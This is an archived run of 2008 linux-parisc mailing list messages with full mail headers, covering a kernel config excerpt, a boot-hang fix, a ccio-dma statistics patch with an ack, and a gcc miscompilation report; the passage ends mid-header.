# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set

#
# Digest
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_HW is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_GENERIC_FIND_FIRST_BIT is not set
# CONFIG_CRC_CCITT is not set
# CONFIG_CRC16 is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y


-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.26-rc3 64bit SMP does not boot on J5600
Date: Thu, 22 May 2008 15:23:50 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20080522192350.GA14976@phobos.i.cabal.ca>
References: <20080522161454.GA2873@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211484242 27760 80.91.229.12 (22 May 2008 19:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 22 May 2008 19:24:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.orgg
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 22 21:24:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JzGP1-0002m4-2C
	for glpp-linux-parisc@gmane.org; Thu, 22 May 2008 21:24:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753549AbYEVTXw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 22 May 2008 15:23:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753775AbYEVTXv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 22 May 2008 15:23:51 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:58552 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752948AbYEVTXv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 22 May 2008 15:23:51 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 2960E178051; Thu, 22 May 2008 15:23:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080522161454.GA2873@ska.dandreoli.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:343
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/343>

On Thu, May 22, 2008 at 06:14:54PM +0200, Domenico Andreoli wrote:
> Hi,
> 
>   after the "1 CPU is stuck" problem, this is what my J5600 parisc
> prints at boot before hanging:
> 

I've got this fixed and cleaned up in my tree. We'll push it along
later, but for now, reverting bd3bb8c15b9a80dbddfb7905b237a4a11a4725b4
will be sufficient to get your machine booting again.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch] ccio: use the same statistics defines as sba_iommu
Date: Mon, 26 May 2008 01:59:55 -0400
Lines: 168
Approved: news@gmane.org
Message-ID: <20080526055955.GA493@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211781621 14377 80.91.229.12 (26 May 2008 06:00:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 May 2008 06:00:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 26 08:00:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K0VlF-00076M-Cv
	for glpp-linux-parisc@gmane.org; Mon, 26 May 2008 08:00:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751969AbYEZF75 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 May 2008 01:59:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752030AbYEZF75
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 May 2008 01:59:57 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:37367 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751969AbYEZF75 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 May 2008 01:59:57 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id EB85917806A; Mon, 26 May 2008 01:59:55 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:344
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/344>

Looks like the difference was hysterical raisins? Also, was it
intentional that CCIO_SEARCH_TIME has been on for all this time?

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index b30e38f..dcc1e99 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -66,15 +66,8 @@
 #undef DEBUG_CCIO_RUN_SG
 
 #ifdef CONFIG_PROC_FS
-/*
- * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
- * impacts performance though - ditch it if you don't use it.
- */
-#define CCIO_SEARCH_TIME
-#undef CCIO_MAP_STATS
-#else
-#undef CCIO_SEARCH_TIME
-#undef CCIO_MAP_STATS
+/* depends on proc fs support. But costs CPU performance. */
+#undef CCIO_COLLECT_STATS
 #endif
 
 #include <linux/proc_fs.h>
@@ -239,12 +232,10 @@ struct ioc {
 	u32 res_size;		    	/* size of resource map in bytes */
 	spinlock_t res_lock;
 
-#ifdef CCIO_SEARCH_TIME
+#ifdef CCIO_COLLECT_STATS
 #define CCIO_SEARCH_SAMPLE 0x100
 	unsigned long avg_search[CCIO_SEARCH_SAMPLE];
 	unsigned long avg_idx;		  /* current index into avg_search */
-#endif
-#ifdef CCIO_MAP_STATS
 	unsigned long used_pages;
 	unsigned long msingle_calls;
 	unsigned long msingle_pages;
@@ -351,7 +342,7 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 	unsigned int pages_needed = size >> IOVP_SHIFT;
 	unsigned int res_idx;
 	unsigned long boundary_size;
-#ifdef CCIO_SEARCH_TIME
+#ifdef CCIO_COLLECT_STATS
 	unsigned long cr_start = mfctl(16);
 #endif
 	
@@ -406,7 +397,7 @@ resource_found:
 	DBG_RES("%s() res_idx %d res_hint: %d\n",
 		__func__, res_idx, ioc->res_hint);
 
-#ifdef CCIO_SEARCH_TIME
+#ifdef CCIO_COLLECT_STATS
 	{
 		unsigned long cr_end = mfctl(16);
 		unsigned long tmp = cr_end - cr_start;
@@ -416,7 +407,7 @@ resource_found:
 	ioc->avg_search[ioc->avg_idx++] = cr_start;
 	ioc->avg_idx &= CCIO_SEARCH_SAMPLE - 1;
 #endif
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 	ioc->used_pages += pages_needed;
 #endif
 	/* 
@@ -452,7 +443,7 @@ ccio_free_range(struct ioc *ioc, dma_addr_t iova, unsigned long pages_mapped)
 	DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
 		__func__, res_idx, pages_mapped);
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 	ioc->used_pages -= pages_mapped;
 #endif
 
@@ -764,7 +755,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 	size = ALIGN(size + offset, IOVP_SIZE);
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 	ioc->msingle_calls++;
 	ioc->msingle_pages += size >> IOVP_SHIFT;
 #endif
@@ -828,7 +819,7 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
 
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 	ioc->usingle_calls++;
 	ioc->usingle_pages += size >> IOVP_SHIFT;
 #endif
@@ -894,7 +885,7 @@ ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr,
 */
 #define PIDE_FLAG 0x80000000UL
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 #define IOMMU_MAP_STATS
 #endif
 #include "iommu-helpers.h"
@@ -938,7 +929,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 	ioc->msg_calls++;
 #endif
 
@@ -997,13 +988,13 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	DBG_RUN_SG("%s() START %d entries,  %08lx,%x\n",
 		__func__, nents, sg_virt_addr(sglist), sglist->length);
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 	ioc->usg_calls++;
 #endif
 
 	while(sg_dma_len(sglist) && nents--) {
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
 #endif
 		ccio_unmap_single(dev, sg_dma_address(sglist),
@@ -1048,7 +1039,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 		len += seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
 			       total_pages * 8, total_pages);
 
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 		len += seq_printf(m, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
 				  total_pages - ioc->used_pages, ioc->used_pages,
 				  (int)(ioc->used_pages * 100 / total_pages));
@@ -1057,7 +1048,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 		len += seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n", 
 				  ioc->res_size, total_pages);
 
-#ifdef CCIO_SEARCH_TIME
+#ifdef CCIO_COLLECT_STATS
 		min = max = ioc->avg_search[0];
 		for(j = 0; j < CCIO_SEARCH_SAMPLE; ++j) {
 			avg += ioc->avg_search[j];
@@ -1070,7 +1061,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 		len += seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
 				  min, avg, max);
 #endif
-#ifdef CCIO_MAP_STATS
+#ifdef CCIO_COLLECT_STATS
 		len += seq_printf(m, "pci_map_single(): %8ld calls  %8ld pages (avg %d/1000)\n",
 				  ioc->msingle_calls, ioc->msingle_pages,
 				  (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
@@ -1088,7 +1079,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 		len += seq_printf(m, "pci_unmap_sg()  : %8ld calls  %8ld pages (avg %d/1000)\n\n\n",
 				  ioc->usg_calls, ioc->usg_pages,
 				  (int)((ioc->usg_pages * 1000)/ioc->usg_calls));
-#endif	/* CCIO_MAP_STATS */
+#endif	/* CCIO_COLLECT_STATS */
 
 		ioc = ioc->next;
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch] ccio: use the same statistics defines as sba_iommu
Date: Mon, 26 May 2008 01:11:33 -0600
Lines: 186
Approved: news@gmane.org
Message-ID: <20080526071133.GC20871@colo.lackof.org>
References: <20080526055955.GA493@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211785929 26098 80.91.229.12 (26 May 2008 07:12:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 May 2008 07:12:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 26 09:12:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K0Wsk-0006QH-6i
	for glpp-linux-parisc@gmane.org; Mon, 26 May 2008 09:12:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752363AbYEZHLq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 26 May 2008 03:11:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752813AbYEZHLq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 26 May 2008 03:11:46 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:40625 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752363AbYEZHLp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 26 May 2008 03:11:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0E5946F803B;
	Mon, 26 May 2008 01:11:44 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29288-07; Mon, 26 May 2008 01:11:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 734BF6F8039; Mon, 26 May 2008 01:11:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080526055955.GA493@phobos.i.cabal.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:345
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/345>

On Mon, May 26, 2008 at 01:59:55AM -0400, Kyle McMartin wrote:
> Looks like the difference was hysterical raisins?

I don't remember.
But we can use "COLLECT_STATS" just as well.
Please push this patch if it makes your life easier.

Acked-by: Grant Grundler <grundler@parisc-linux.org>

> Also, was it
> intentional that CCIO_SEARCH_TIME has been on for all this time?

No. I'm pretty sure we want CCIO_SEARCH_TIME disabled.
I disabled this for SBA driver years ago.

thanks,
grant

> index b30e38f..dcc1e99 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -66,15 +66,8 @@
>  #undef DEBUG_CCIO_RUN_SG
>  
>  #ifdef CONFIG_PROC_FS
> -/*
> - * CCIO_SEARCH_TIME can help measure how fast the bitmap search is.
> - * impacts performance though - ditch it if you don't use it.
> - */
> -#define CCIO_SEARCH_TIME
> -#undef CCIO_MAP_STATS
> -#else
> -#undef CCIO_SEARCH_TIME
> -#undef CCIO_MAP_STATS
> +/* depends on proc fs support. But costs CPU performance. */
> +#undef CCIO_COLLECT_STATS
>  #endif
>  
>  #include <linux/proc_fs.h>
> @@ -239,12 +232,10 @@ struct ioc {
>  	u32 res_size;		    	/* size of resource map in bytes */
>  	spinlock_t res_lock;
>  
> -#ifdef CCIO_SEARCH_TIME
> +#ifdef CCIO_COLLECT_STATS
>  #define CCIO_SEARCH_SAMPLE 0x100
>  	unsigned long avg_search[CCIO_SEARCH_SAMPLE];
>  	unsigned long avg_idx;		  /* current index into avg_search */
> -#endif
> -#ifdef CCIO_MAP_STATS
>  	unsigned long used_pages;
>  	unsigned long msingle_calls;
>  	unsigned long msingle_pages;
> @@ -351,7 +342,7 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
>  	unsigned int pages_needed = size >> IOVP_SHIFT;
>  	unsigned int res_idx;
>  	unsigned long boundary_size;
> -#ifdef CCIO_SEARCH_TIME
> +#ifdef CCIO_COLLECT_STATS
>  	unsigned long cr_start = mfctl(16);
>  #endif
>  	
> @@ -406,7 +397,7 @@ resource_found:
>  	DBG_RES("%s() res_idx %d res_hint: %d\n",
>  		__func__, res_idx, ioc->res_hint);
>  
> -#ifdef CCIO_SEARCH_TIME
> +#ifdef CCIO_COLLECT_STATS
>  	{
>  		unsigned long cr_end = mfctl(16);
>  		unsigned long tmp = cr_end - cr_start;
> @@ -416,7 +407,7 @@ resource_found:
>  	ioc->avg_search[ioc->avg_idx++] = cr_start;
>  	ioc->avg_idx &= CCIO_SEARCH_SAMPLE - 1;
>  #endif
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  	ioc->used_pages += pages_needed;
>  #endif
>  	/* 
> @@ -452,7 +443,7 @@ ccio_free_range(struct ioc *ioc, dma_addr_t iova, unsigned long pages_mapped)
>  	DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
>  		__func__, res_idx, pages_mapped);
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  	ioc->used_pages -= pages_mapped;
>  #endif
>  
> @@ -764,7 +755,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
>  	size = ALIGN(size + offset, IOVP_SIZE);
>  	spin_lock_irqsave(&ioc->res_lock, flags);
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  	ioc->msingle_calls++;
>  	ioc->msingle_pages += size >> IOVP_SHIFT;
>  #endif
> @@ -828,7 +819,7 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
>  
>  	spin_lock_irqsave(&ioc->res_lock, flags);
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  	ioc->usingle_calls++;
>  	ioc->usingle_pages += size >> IOVP_SHIFT;
>  #endif
> @@ -894,7 +885,7 @@ ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr,
>  */
>  #define PIDE_FLAG 0x80000000UL
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  #define IOMMU_MAP_STATS
>  #endif
>  #include "iommu-helpers.h"
> @@ -938,7 +929,7 @@ ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  	
>  	spin_lock_irqsave(&ioc->res_lock, flags);
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  	ioc->msg_calls++;
>  #endif
>  
> @@ -997,13 +988,13 @@ ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  	DBG_RUN_SG("%s() START %d entries,  %08lx,%x\n",
>  		__func__, nents, sg_virt_addr(sglist), sglist->length);
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  	ioc->usg_calls++;
>  #endif
>  
>  	while(sg_dma_len(sglist) && nents--) {
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
>  #endif
>  		ccio_unmap_single(dev, sg_dma_address(sglist),
> @@ -1048,7 +1039,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
>  		len += seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
>  			       total_pages * 8, total_pages);
>  
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  		len += seq_printf(m, "IO PDIR entries : %ld free  %ld used (%d%%)\n",
>  				  total_pages - ioc->used_pages, ioc->used_pages,
>  				  (int)(ioc->used_pages * 100 / total_pages));
> @@ -1057,7 +1048,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
>  		len += seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n", 
>  				  ioc->res_size, total_pages);
>  
> -#ifdef CCIO_SEARCH_TIME
> +#ifdef CCIO_COLLECT_STATS
>  		min = max = ioc->avg_search[0];
>  		for(j = 0; j < CCIO_SEARCH_SAMPLE; ++j) {
>  			avg += ioc->avg_search[j];
> @@ -1070,7 +1061,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
>  		len += seq_printf(m, "  Bitmap search : %ld/%ld/%ld (min/avg/max CPU Cycles)\n",
>  				  min, avg, max);
>  #endif
> -#ifdef CCIO_MAP_STATS
> +#ifdef CCIO_COLLECT_STATS
>  		len += seq_printf(m, "pci_map_single(): %8ld calls  %8ld pages (avg %d/1000)\n",
>  				  ioc->msingle_calls, ioc->msingle_pages,
>  				  (int)((ioc->msingle_pages * 1000)/ioc->msingle_calls));
> @@ -1088,7 +1079,7 @@ static int ccio_proc_info(struct seq_file *m, void *p)
>  		len += seq_printf(m, "pci_unmap_sg()  : %8ld calls  %8ld pages (avg %d/1000)\n\n\n",
>  				  ioc->usg_calls, ioc->usg_pages,
>  				  (int)((ioc->usg_pages * 1000)/ioc->usg_calls));
> -#endif	/* CCIO_MAP_STATS */
> +#endif	/* CCIO_COLLECT_STATS */
>  
>  		ioc = ioc->next;
>  	}
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 15:09:46 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20080528190946.GA30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212001832 3033 80.91.229.12 (28 May 2008 19:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 May 2008 19:10:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 28 21:11:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1R2y-0002IF-Jk
	for glpp-linux-parisc@gmane.org; Wed, 28 May 2008 21:10:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752644AbYE1TJs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 28 May 2008 15:09:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752732AbYE1TJs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 28 May 2008 15:09:48 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:56411 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752644AbYE1TJr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 28 May 2008 15:09:47 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 073AF17806E; Wed, 28 May 2008 15:09:47 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:346
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/346>

So I've narrowed the regression down to a miscompilation (presumably) of
net/ipv4/ip_output.o, in the sense that

	cp linux-2.6-gcc34/net/ipv4/ip_output.o
		linux-2.6-gcc43/net/ipv4/ip_output.o
	touch linux-2.6-gcc43/net/ipv4/ip_output.o
	make vmlinux

fixes the issue.

Unfortunately, the file is basically entirely different when
objdump'd...

The generated assembly is not much more help either.

I'm going to try again with gcc 4.1 & 4.2, and hope they're similar
enough that they generate closer assembly fragments...

but, getting closer to a fix, I hope.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [bug] gcc-4.[23] miscompiling causing networking to bugger up
Date: Wed, 28 May 2008 16:00:35 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20080528200035.GB30501@phobos.i.cabal.ca>
References: <20080528190946.GA30501@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1212004865 14254 80.91.229.12 (28 May 2008 20:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 May 2008 20:01:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 28 22:01:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K1Rq3-0004LE-R7
	for glpp-linux-parisc@gmane.org; Wed, 28 May 2008 22:01:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
